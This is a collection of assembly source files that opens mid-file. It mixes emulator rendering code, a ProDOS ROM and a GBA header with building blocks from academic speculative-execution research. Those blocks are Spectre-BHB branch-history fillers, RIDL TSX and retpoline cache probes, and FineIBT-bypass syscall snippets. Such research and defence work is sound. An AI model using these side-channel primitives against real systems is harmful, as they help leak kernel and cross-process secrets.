push {r3-r7, lr}
lsls r2, #1
add r2, r1
mov ip, r2
ldr r2, =(SIO_BASE + SIO_INTERP0_ACCUM0_OFFSET)
.align 2
1:
ldmia r0!, {r7}
str r7, [r2, #ACCUM0_OFFS]
str r7, [r2, #ACCUM1_OFFS]
decode_pixel_data r3
decode_pixel_data r4
stmia r1!, {r3, r4}
cmp r1, ip
bne 1b
pop {r3-r7, pc}
//
decl_func copy_tmdsbuf
push {r2-r7, lr}
#ifdef OLIMEX_NEO6502
.rept 160
#else
.rept 200
#endif
ldmia r1!, {r2, r3, r4, r5, r6, r7}
stmia r0!, {r2, r3, r4, r5, r6, r7}
.endr
pop {r2-r7, pc}
|
vsladkov/reload-emulator | 1,464 | platforms/rp2040/systems/apple2e/src/utils.S | #include "pico/config.h"
#include "hardware/regs/addressmap.h"
#include "hardware/regs/sio.h"
// Offsets suitable for ldr/str (must be <= 0x7c):
#define ACCUM0_OFFS (SIO_INTERP0_ACCUM0_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
#define ACCUM1_OFFS (SIO_INTERP0_ACCUM1_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
#define POP0_OFFS (SIO_INTERP0_POP_LANE0_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
.syntax unified
.cpu cortex-m0plus
.thumb
.macro decl_func_x name
.section .scratch_x.\name, "ax"
.global \name
.type \name,%function
.thumb_func
\name:
.endm
.macro decl_func_y name
.section .scratch_y.\name, "ax"
.global \name
.type \name,%function
.thumb_func
\name:
.endm
#define decl_func decl_func_x
.macro decode_pixel_data rd
ldr \rd, [r2, #POP0_OFFS]
lsls \rd, #8
ldr r7, [r2, #POP0_OFFS]
orrs \rd, r7
ldr r7, [r2, #POP0_OFFS]
lsls r7, #24
orrs \rd, r7
ldr r7, [r2, #POP0_OFFS]
lsls r7, #16
orrs \rd, r7
.endm
decl_func apple2e_render_scanline
push {r3-r7, lr}
lsls r2, #1
add r2, r1
mov ip, r2
ldr r2, =(SIO_BASE + SIO_INTERP0_ACCUM0_OFFSET)
.align 2
1:
ldmia r0!, {r7}
str r7, [r2, #ACCUM0_OFFS]
str r7, [r2, #ACCUM1_OFFS]
decode_pixel_data r3
decode_pixel_data r4
stmia r1!, {r3, r4}
cmp r1, ip
bne 1b
pop {r3-r7, pc}
//
decl_func copy_tmdsbuf
push {r2-r7, lr}
#ifdef OLIMEX_NEO6502
.rept 200
#else
.rept 200
#endif
ldmia r1!, {r2, r3, r4, r5, r6, r7}
stmia r0!, {r2, r3, r4, r5, r6, r7}
.endr
pop {r2-r7, pc}
|
vsladkov/reload-emulator | 2,374 | platforms/rp2040/systems/oric/src/utils.S | #include "pico/config.h"
#include "hardware/regs/addressmap.h"
#include "hardware/regs/sio.h"
// Offsets suitable for ldr/str (must be <= 0x7c):
#define ACCUM0_OFFS (SIO_INTERP0_ACCUM0_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
#define ACCUM1_OFFS (SIO_INTERP0_ACCUM1_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
#define POP0_OFFS (SIO_INTERP0_POP_LANE0_OFFSET - SIO_INTERP0_ACCUM0_OFFSET)
.syntax unified
.cpu cortex-m0plus
.thumb
.macro decl_func_x name
.section .scratch_x.\name, "ax"
.global \name
.type \name,%function
.thumb_func
\name:
.endm
.macro decl_func_y name
.section .scratch_y.\name, "ax"
.global \name
.type \name,%function
.thumb_func
\name:
.endm
#define decl_func decl_func_x
//
.macro decode_pixel_data_3x rd1, rd2, rd3
ldr r7, [r2, #POP0_OFFS]
mov \rd2, r7
lsls r7, #8
orrs \rd2, r7
lsls r7, #16
mov \rd1, r7
ldr r7, [r2, #POP0_OFFS]
orrs \rd1, r7
lsls r7, #8
orrs \rd1, r7
lsls r7, #8
orrs \rd1, r7
ldr r7, [r2, #POP0_OFFS]
lsls r7, #8
mov \rd3, r7
lsls r7, #8
orrs \rd3, r7
lsls r7, #8
orrs \rd3, r7
ldr r7, [r2, #POP0_OFFS]
orrs \rd3, r7
lsls r7, #16
orrs \rd2, r7
lsls r7, #8
orrs \rd2, r7
.endm
decl_func oric_render_scanline_3x
push {r3-r7, lr}
lsls r2, #1
mov r3, r2
lsls r2, #1
add r2, r3
add r2, r1
mov ip, r2
ldr r2, =(SIO_BASE + SIO_INTERP0_ACCUM0_OFFSET)
.align 2
1:
ldmia r0!, {r7}
str r7, [r2, #ACCUM0_OFFS]
str r7, [r2, #ACCUM1_OFFS]
decode_pixel_data_3x r3, r4, r5
stmia r1!, {r3, r4, r5}
decode_pixel_data_3x r3, r4, r5
stmia r1!, {r3, r4, r5}
cmp r1, ip
bne 1b
pop {r3-r7, pc}
//
.macro decode_pixel_data_2x rd
ldr r7, [r2, #POP0_OFFS]
lsls r7, #16
mov \rd, r7
lsls r7, #8
orrs \rd, r7
ldr r7, [r2, #POP0_OFFS]
orrs \rd, r7
lsls r7, #8
orrs \rd, r7
.endm
decl_func oric_render_scanline_2x
push {r3-r7, lr}
lsls r2, #2
add r2, r1
mov ip, r2
ldr r2, =(SIO_BASE + SIO_INTERP0_ACCUM0_OFFSET)
.align 2
1:
ldmia r0!, {r7}
str r7, [r2, #ACCUM0_OFFS]
str r7, [r2, #ACCUM1_OFFS]
decode_pixel_data_2x r3
decode_pixel_data_2x r4
decode_pixel_data_2x r5
decode_pixel_data_2x r6
stmia r1!, {r3, r4, r5, r6}
cmp r1, ip
bne 1b
pop {r3-r7, pc}
//
decl_func copy_tmdsbuf
push {r2-r7, lr}
#ifdef OLIMEX_NEO6502
.rept 200
#else
.rept 240
#endif
ldmia r1!, {r2, r3, r4, r5, r6, r7}
stmia r0!, {r2, r3, r4, r5, r6, r7}
.endr
pop {r2-r7, pc}
|
vsladkov/reload-emulator | 3,927 | src/devices/prodos_hdc_rom.S | ; cl65 -t none prodos_hdc_rom.S
; bin2hdr -i prodos_hdc_rom -o prodos_hdc_rom.h -a prodos_hdc_rom
.feature c_comments
/*
MIT License
Copyright (c) 2023 Oliver Schmidt (https://a2retro.de/)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
SLOT = $07
MAGIC = $65
LOC0 := $00
LOC1 := $01
CMD := $42 ; DISK DRIVER COMMAND
UNIT := $43 ; DISK DRIVER UNIT
BUFL := $44 ; DISK DRIVER BUFFER
BUFH := $45
BLOCKL := $46 ; DISK DRIVER BLOCK
BLOCKH := $47
MSLOT := $07F8 ; BUFFER FOR HI SLOT ADDR (SCN)
RC_A := $C080 ; RETURN CODE REGISTER A
RC_X := $C081 ; RETURN CODE REGISTER X
RC_Y := $C082 ; RETURN CODE REGISTER Y
PARA := $C087 ; PARAVIRTUALIZATION TRIGGER
COUT := $FDED ; CHARACTER OUT (THRU CSW)
SETKBD := $FE89 ; SETS KSW TO APPLE KEYBOARD
SETSCR := $FE93 ; SETS CSW TO APPLE SCREEN
SLOOP := $FABA ; CONTINUE SLOT SCAN
SETTXT := $FB39 ; SET TEXT MODE
HOME := $FC58 ; CLEAR SCREEN AND HOME CURSOR
BASIC := $E000 ; BASIC INTERPRETER COLD START
.ORG $C000+$0100*SLOT
CPX #$20 ; $Cn01:$20
LDX #$00 ; $Cn03:$00
CPX #$03 ; $Cn05:$03
CPX #$3C ; $Cn07:$3C
STX BLOCKL
STX BLOCKH
STX BUFL
INX ; 1 MEANS READ
STX CMD
LDX #>$0800
STX BUFH
LDX #$10*SLOT ; DRIVE 1
STX UNIT
JSR DRIVER ; READ BLOCK 0 FROM DRIVE 1 TO $0800
BCS FAILURE
LDX $0800 ; NUMBER OF DISK II SECTORS TO READ
DEX
BNE FAILURE ; ... MUST BE 1
LDX $0801 ; FIRST OPCODE
BEQ FAILURE ; ... MUSTN'T BE BRK
LDX #$10*SLOT ; DRIVE 1
JMP $0801 ; GO FOR IT
FAILURE:LDX LOC0 ; POTENTIAL AUTOSTART SCAN ROM PTR LO
BNE ERREXIT ; ... MUST POINT TO A SLOT ROM START
LDX LOC1 ; POTENTIAL AUTOSTART SCAN ROM PTR HI
CPX MSLOT
BNE ERREXIT ; ... MUST POINT TO CURRENT SLOT ROM
CPX #>*
BNE ERREXIT ; ... MUST POINT TO THIS SLOT ROM
JMP SLOOP ; LOOKS LIKE AUTOSTART SCAN SO CONTINUE SCAN
ERREXIT:JSR SETSCR
JSR SETKBD
JSR SETTXT
JSR HOME
LDX #$08 ; 'HDD ERROR'
: LDA ERRTEXT,X
JSR COUT
DEX
BPL :-
JMP BASIC
ERRTEXT:.BYTE 'R'|$80, 'O'|$80, 'R'|$80, 'R'|$80, 'E'|$80, ' '|$80, 'D'|$80, 'D'|$80, 'H'|$80
DRIVER: LDA #MAGIC
STA PARA|$10*SLOT
; ABRACADABRA
LDA RC_A|$10*SLOT
LDX RC_X|$10*SLOT
LDY RC_Y|$10*SLOT
CMP #$01 ; SET CARRY IF A IS NOT 0
RTS
.RES $0100-4-<* ; THE 4 BYTES BELOW GO TO THE END OF THE SLOT ROM
.BYTE $00,$00 ; TOTAL BLOCKS
.BYTE $F7 ; STATUS BYTE
.BYTE <DRIVER
|
Vulcalien/minicraft-gba | 1,436 | src/header.s | @ GBA ROM Header
.section .header, "ax"
.global _start
.arm
_start:
@@@@@@@@@@@@@@@@@@@@@@
@ ROM Header @
@@@@@@@@@@@@@@@@@@@@@@
@ ROM Entry Point
b start_vector
@ Nintendo Logo
.word 0x51aeff24, 0x21a29a69, 0x0a82843d
.word 0xad09e484, 0x988b2411, 0x217f81c0, 0x19be52a3
.word 0x20ce0993, 0x4a4a4610, 0xec3127f8, 0x33e8c758
.word 0xbfcee382, 0x94dff485, 0xc1094bce, 0xc08a5694
.word 0xfca77213, 0x734d849f, 0x619acaa3, 0x27a39758
.word 0x769803fc, 0x61c71d23, 0x56ae0403, 0x008438bf
.word 0xfd0ea740, 0x03fe52ff, 0xf130956f, 0x85c0fb97
.word 0x2580d660, 0x03be63a9, 0xe2384e01, 0xff34a2f9
.word 0x44033ebb, 0xcb900078, 0x943a1188, 0x637cc065
.word 0xaf3cf087, 0x8be425d6, 0x72ac0a38, 0x07f8d421
@ Game Title
.ascii "MINICRAFTGBA"
@ Game Code
.ascii "ZMCE"
@ Maker Code
.byte 0x00, 0x00
@ Fixed value
.byte 0x96
@ Main Unit Code
.byte 0x00
@ Device Type
.byte 0x00
@ Reserved (7 Bytes)
.space 7, 0x00
@ Software Version
.byte 0x04
@ Header Checksum
.byte 0xb7
@ Reserved (2 Bytes)
.space 2, 0x00
@@@@@@@@@@@@@@@@@@@@@@@@@@
@ ROM Header End @
@@@@@@@@@@@@@@@@@@@@@@@@@@
@ Cart Backup ID
.ascii "FLASH1M_Vnnn"
.end
|
vusec/kasper | 1,864 | static/kspecem/kspecem_regs.S | #include "sysdep.h"
#include "calling.h"
ENTRY (kspecem_asm_save_registers)
/* only save registers if (are_irqs_disabled >= 0) == TRUE */
cmp $0xffffffffffffffff,%rsi
jle kspecem_asm_save_registers_end
/* Save registers. */
movq %rax, (RAX)(%rdi)
movq %rbx, (RBX)(%rdi)
movq %rcx, (RCX)(%rdi)
movq %rdx, (RDX)(%rdi)
movq %rbp, (RBP)(%rdi)
movq %r8, ( R8)(%rdi)
movq %r9, ( R9)(%rdi)
movq %r10, (R10)(%rdi)
movq %r11, (R11)(%rdi)
movq %r12, (R12)(%rdi)
movq %r13, (R13)(%rdi)
movq %r14, (R14)(%rdi)
movq %r15, (R15)(%rdi)
lea 8(%rsp), %rdx /* Save SP as it will be after we return. */
movq %rdx, (RSP)(%rdi)
mov (%rsp), %rax /* Save PC we are returning to now. */
movq %rax, (RIP)(%rdi)
xorq %rax, %rax
pushfq /* Save EFLAGS on stack */
pop %rax
movq %rax, (EFLAGS)(%rdi)
kspecem_asm_save_registers_end:
xorl %eax, %eax
retq
END (kspecem_asm_save_registers)
.text
ENTRY(kspecem_asm_restore_registers)
/* Restore registers. */
movq (RSP)(%rdi),%r8
movq (RBP)(%rdi),%r9
movq (RIP)(%rdi),%rdx
movq (RBX)(%rdi),%rbx
movq (R10)(%rdi),%r10
movq (R11)(%rdi),%r11
movq (R12)(%rdi),%r12
movq (R13)(%rdi),%r13
movq (R14)(%rdi),%r14
movq (R15)(%rdi),%r15
movq (RCX)(%rdi),%rcx
/* Set return value for setjmp. */
mov %esi, %eax
mov %r8,%rsp
movq %r9,%rbp
movq (R8)(%rdi),%r8
movq (R9)(%rdi),%r9
movq (EFLAGS)(%rdi), %rax
push %rax
popfq /* pop EFLAGS from stack */
movq (RAX)(%rdi),%rax
jmpq *%rdx
END (kspecem_asm_restore_registers)
|
vusec/bhi-spectre-bhb | 1,136 | pocs/intra_mode/src/snippet.S | ; Thursday, September 9th 2021
;
; Enrico Barberis - e.barberis@vu.nl
; Pietro Frigo - p.frigo@vu.nl
; Marius Muench - m.muench@vu.nl
; Herbert Bos - herbertb@cs.vu.nl
; Cristiano Giuffrida - giuffrida@cs.vu.nl
;
; Vrije Universiteit Amsterdam - Amsterdam, The Netherlands
;Must match with main.c MAX_HISTORY_SIZE !
%define MAX_HISTORY_SIZE 256
section .text
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; fill_bhb
; - rdi: syscall number
; - rsi: syscall arg1
; - rdx: syscall arg2
; - rcx: syscall arg3
; - r8: usr_r12
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
align 0x1000
global fixed_bhb
fixed_bhb:
push r12
;perform 128 taken jumps to fix the history
;this is to remove the user space exeuction from the attack
mov rax, 0
%assign i 0
%rep MAX_HISTORY_SIZE
cmp rax, 0
;align 0x10
je next_%+i
next_%+i:
%assign i i+1
%endrep
global victim_syscall
victim_syscall:
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov r12, r8
syscall
pop r12
ret
|
vusec/bhi-spectre-bhb | 1,075 | pocs/inter_mode/src/snippet.S | ; Thursday, September 9th 2021
;
; Enrico Barberis - e.barberis@vu.nl
; Pietro Frigo - p.frigo@vu.nl
; Marius Muench - m.muench@vu.nl
; Herbert Bos - herbertb@cs.vu.nl
; Cristiano Giuffrida - giuffrida@cs.vu.nl
;
; Vrije Universiteit Amsterdam - Amsterdam, The Netherlands
;Must match with main.c MAX_HISTORY_SIZE !
%define MAX_HISTORY_SIZE 256
section .text
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; fill_bhb
; - rdi: ptr to 128 bit array
; - rsi: syscall number
; - rdx: syscall arg1
; - rcx: syscall arg2
; - r8: syscall arg3
; - r9: usr_r12
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
align 0x1000
global fill_bhb
fill_bhb:
push r12
%assign i 0
%rep MAX_HISTORY_SIZE
movzx rax, byte [rdi]
inc rdi
cmp rax, 1
;align 0x10
je next_%+i
next_%+i:
%assign i i+1
%endrep
global victim_syscall
victim_syscall:
mov rax, rsi
mov rdi, rdx
mov rsi, rcx
mov rdx, r8
mov r12, r9
syscall
pop r12
ret
|
vusec/bhi-spectre-bhb | 1,601 | re/x64/bhb_size/src/snippet.S | ; Thursday, September 9th 2021
;
; Enrico Barberis - e.barberis@vu.nl
; Pietro Frigo - p.frigo@vu.nl
; Marius Muench - m.muench@vu.nl
; Herbert Bos - herbertb@cs.vu.nl
; Cristiano Giuffrida - giuffrida@cs.vu.nl
;
; Vrije Universiteit Amsterdam - Amsterdam, The Netherlands
;Must match with main.c MAX_HISTORY_SIZE !
%define MAX_HISTORY_SIZE 256
section .text
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ind_call_hit
; - rdi: ptr history
; - rsi: ind call destination
; - rdx: ind call argument
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
align 0x1000
global fill_bhb
fill_bhb:
;Perform 128 jumps to fill the BHB with a controlled history
%assign i 0
%rep MAX_HISTORY_SIZE
movzx rax, byte [rdi]
inc rdi
cmp rax, 1
je ind_call_hit_%+i
ind_call_hit_%+i:
%assign i i+1
%endrep
;setup arguments
mov rdi, rdx
;make speculation more likely
push rsi
clflush [rsp]
mfence
global victim_call
victim_call:
;perform indirect call
call [rsp]
add rsp, 8
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ret_gadget
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global ret_gadget
ret_gadget:
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; hit_gadget
; - rdi: fr_buf
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global hit_gadget
hit_gadget:
mov rax, [rdi]
ret
|
vusec/bhi-spectre-bhb | 1,138 | re/x64/bhi_test/src/snippet.S | ; Thursday, September 9th 2021
;
; Enrico Barberis - e.barberis@vu.nl
; Pietro Frigo - p.frigo@vu.nl
; Marius Muench - m.muench@vu.nl
; Herbert Bos - herbertb@cs.vu.nl
; Cristiano Giuffrida - giuffrida@cs.vu.nl
;
; Vrije Universiteit Amsterdam - Amsterdam, The Netherlands
;Must match with main.c MAX_HISTORY_SIZE !
%define MAX_HISTORY_SIZE 256
section .text
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; fill_bhb
; - arg 1 - rdi: ptr to history
; - arg 2 - rsi: syscall nr
; - arg 3 - rdx: syscall arg1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global fill_bhb
fill_bhb:
;Perform 256 conditional branches to fill the BHB
;rdi points to an array of 256 bytes that dictates the direction of
;all the 256 branches
%assign i 0
%rep MAX_HISTORY_SIZE
movzx rax, byte [rdi]
inc rdi
cmp rax, 1
je next_%+i
next_%+i:
%assign i i+1
%endrep
;Now that the BHB is filled, execute the specified syscall
global victim_syscall
victim_syscall:
mov rax, rsi
mov rdi, rdx
syscall
ret
|
vusec/ridl | 1,719 | tests/source/utils.S | .text
.globl enable_ac
enable_ac:
pushf
orq $(1 << 18), (%rsp)
popf
ret
.text
.globl disable_ac
disable_ac:
pushf
andq $~(1 << 18), (%rsp)
popf
ret
.text
.globl retpol_probe
retpol_probe:
call 1f
movzbq (%rsi), %rax
shlq $STRIDE_SHIFT, %rax
movzbq (%rdi, %rax), %rax
1:
leaq 2f(%rip), %rax
.rept 64
imulq $1, %rax, %rax
.endr
movq %rax, (%rsp)
ret
2:
ret
.global tsx_probe
tsx_probe:
xbegin 1f
.rept 16
vsqrtps %xmm0, %xmm0
.endr
movzbq (%rsi), %rax
shlq $STRIDE_SHIFT, %rax
movzbq (%rdi, %rax), %rax
xend
1:
ret
.text
.globl retpol_probe2
retpol_probe2:
call 1f
movzbq (%rsi), %rax
movzbq (%rsi), %r11
shlq $STRIDE_SHIFT, %rax
shlq $STRIDE_SHIFT, %r11
movq (%rdi, %rax), %rax
movq (%rdi, %r11), %r11
1:
leaq 2f(%rip), %rax
.rept 64
imulq $1, %rax, %rax
.endr
movq %rax, (%rsp)
ret
2:
ret
.global tsx_probe2
tsx_probe2:
xbegin 1f
.rept 16
vsqrtps %xmm0, %xmm0
.endr
movzbq (%rsi), %rax
movzbq (%rsi), %r11
shlq $STRIDE_SHIFT, %rax
shlq $STRIDE_SHIFT, %r11
movq (%rdi, %rax), %rax
movq (%rdi, %r11), %r11
xend
1:
ret
.global tsx_probe_shift
tsx_probe_shift:
movq %rdx, %rcx
xbegin 1f
.rept 16
vsqrtps %xmm0, %xmm0
.endr
movdqu (%rsi), %xmm0
movq %xmm0, %rax
shr %cl, %rax
and $0xff, %rax
shl $STRIDE_SHIFT, %rax
movzbq (%rdi, %rax), %rax
xend
1:
ret
.global avx_probe
avx_probe:
vmovdqu (%rsi), %ymm0
movq %xmm0, %rax
andq $0xff, %rax
shl $STRIDE_SHIFT, %rax
movq (%rdi, %rax), %rax
ret
.global sse_probe
sse_probe:
vmovdqu (%rsi), %ymm0
movq %xmm0, %rax
andq $0xff, %rax
shl $STRIDE_SHIFT, %rax
movq (%rdi, %rax), %rax
ret
.global probe
probe:
movq (%rsi), %rax
andq $0xff, %rax
shl $STRIDE_SHIFT, %rax
movq (%rdi, %rax), %rax
ret
|
vusec/inspectre-gadget | 2,652 | experiments/fineibt-bypass/src/snippet.S | #define MAX_HISTORY_SIZE 420
.intel_syntax noprefix
.section .text
# The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
# ; fill_bhb
# ; - arg 1 - rdi: ptr to history
# ; - arg 2 - rsi: syscall nr
# ; - arg 3 - rdx: syscall arg1
# ; - arg 4 - rcx: syscall arg2
# ; - arg 5 - rcx: syscall arg3
# ; - arg 6 - rcx: syscall arg4
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.global fill_bhb
.global do_only_syscall
.align 4096
fill_bhb:
# Perform 256 conditional branches to fill the BHB
# rdi points to an array of 256 bytes that dictates the direction of
# all the 256 branches
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
do_only_syscall:
mov rax, rsi
mov rdx, rdx # RDX rdx # tfp_arg
mov rsi, rcx # RSI # rcx # secret address
mov r8, r8 # R8
xor rdi, rdi
xor r9, r9
xor r10, r10
push rbx
push r11
push r12
push r13
push r14
push r15
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
syscall
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop rbx
ret
.global static_fill_bhb_sys
.align 4096
static_fill_bhb_sys:
# Perform 194 branches to fill the BHB statically
# next jmp to the location of the 2th argument
mov rax, 1
cmp rax, 1
.rept 194
je 1f
# Some padding to not stress the BTB
.rept 3
.BYTE 0x0f, 0x1f, 0x00
.endr
1:
.endr
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov r10, r8
xor r9, r9
push rbx
push r11
push r12
push r13
push r14
push r15
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
syscall
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop rbx
ret
.global fill_bhb_call
fill_bhb_call:
# Perform 256 conditional branches to fill the BHB
# next jmp to the location of the 2th argument
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
mov rax, rsi
mov rdi, rdx
mov rsi, rcx
mov rdx, r8
mov rcx, r9
mov r8, 0
mov r9, 0
jmp rax
|
vusec/inspectre-gadget | 3,691 | experiments/native-bhi/src/snippet.S | # Must match with main.c MAX_HISTORY_SIZE !
#define MAX_HISTORY_SIZE 420
.intel_syntax noprefix
.section .text
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
# ; fill_bhb
# ; - arg 1 - rdi: ptr to history
# ; - arg 2 - rsi: syscall nr
# ; - arg 3 - rdx: syscall arg1
# ; - arg 4 - rcx: syscall arg2
# ; - arg 5 - rcx: syscall arg3
# ; - arg 6 - rcx: syscall arg4
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.global fill_bhb
.align 4096
fill_bhb:
# Perform X conditional branches to fill the BHB
# rdi points to an array of X bytes that dictates the direction of
# all the X branches
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
mov rax, rsi
mov rdi, rdx
mov rsi, rcx
mov rdx, r8
mov r10, r9
xor r8, r8
xor r9, r9
xor rcx, rcx
push rbx
push r11
push r12
push r13
push r14
push r15
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
syscall
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop rbx
ret
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
# ; fill_bhb_fill_regs
# ; - arg 1 - rdi: ptr to history
# ; - arg 2 - rsi: syscall nr
# ; - arg 3 - rdx: syscall argument 1 - 5
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.global fill_bhb_fill_regs
.align 4096
fill_bhb_fill_regs:
# Perform 256 conditional branches to fill the BHB
# rdi points to an array of 256 bytes that dictates the direction of
# all the 256 branches
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
mov rax, rsi
mov rdi, rdx
mov rsi, rdx
mov r10, rdx
mov r8, rdx
mov r9, rdx
xor rcx, rcx
push rbx
push r11
push r12
push r13
push r14
push r15
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
syscall
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop rbx
ret
.global static_fill_bhb_sys
.align 4096
static_fill_bhb_sys:
# Perform 194 branches to fill the BHB statically
# next jmp to the location of the 2th argument
mov rax, 1
cmp rax, 1
.rept 194
je 1f
# Some padding to not stress the BTB
.rept 3
.BYTE 0x0f, 0x1f, 0x00
.endr
1:
.endr
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov r10, r8
xor r8, r8
xor r9, r9
xor rcx, rcx
push rbx
push r11
push r12
push r13
push r14
push r15
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
syscall
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop rbx
ret
.global fill_bhb_call
fill_bhb_call:
# Perform 256 conditional branches to fill the BHB
# next jmp to the location of the 2th argument
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
mov rax, rsi
mov rdi, rdx
mov rsi, rcx
mov rdx, r8
mov rcx, r9
mov r8, 0
mov r9, 0
jmp rax
|
vusec/inspectre-gadget | 2,313 | experiments/dispatch-gadgets/1stage-common_timer_del-of_css/snippet.S | #define MAX_HISTORY_SIZE 420
.intel_syntax noprefix
.section .text
# The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
# ; fill_bhb
# ; - arg 1 - rdi: ptr to history
# ; - arg 2 - rsi: syscall nr
# ; - arg 3 - rdx: syscall arg1
# ; - arg 4 - rcx: syscall arg2
# ; - arg 5 - rcx: syscall arg3
# ; - arg 6 - rcx: syscall arg4
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.global fill_bhb
.align 4096
fill_bhb:
# Perform 420 conditional branches to fill the BHB
# rdi points to an array of 420 bytes that dictates the direction of
# all the 420 branches
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
push r15
mov rax, rsi
push rbx
mov rbx, rdx # tfp_arg
mov r15, rcx # gadget arg
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
xor r8, r8
xor r9, r9
xor r10, r10
push r11
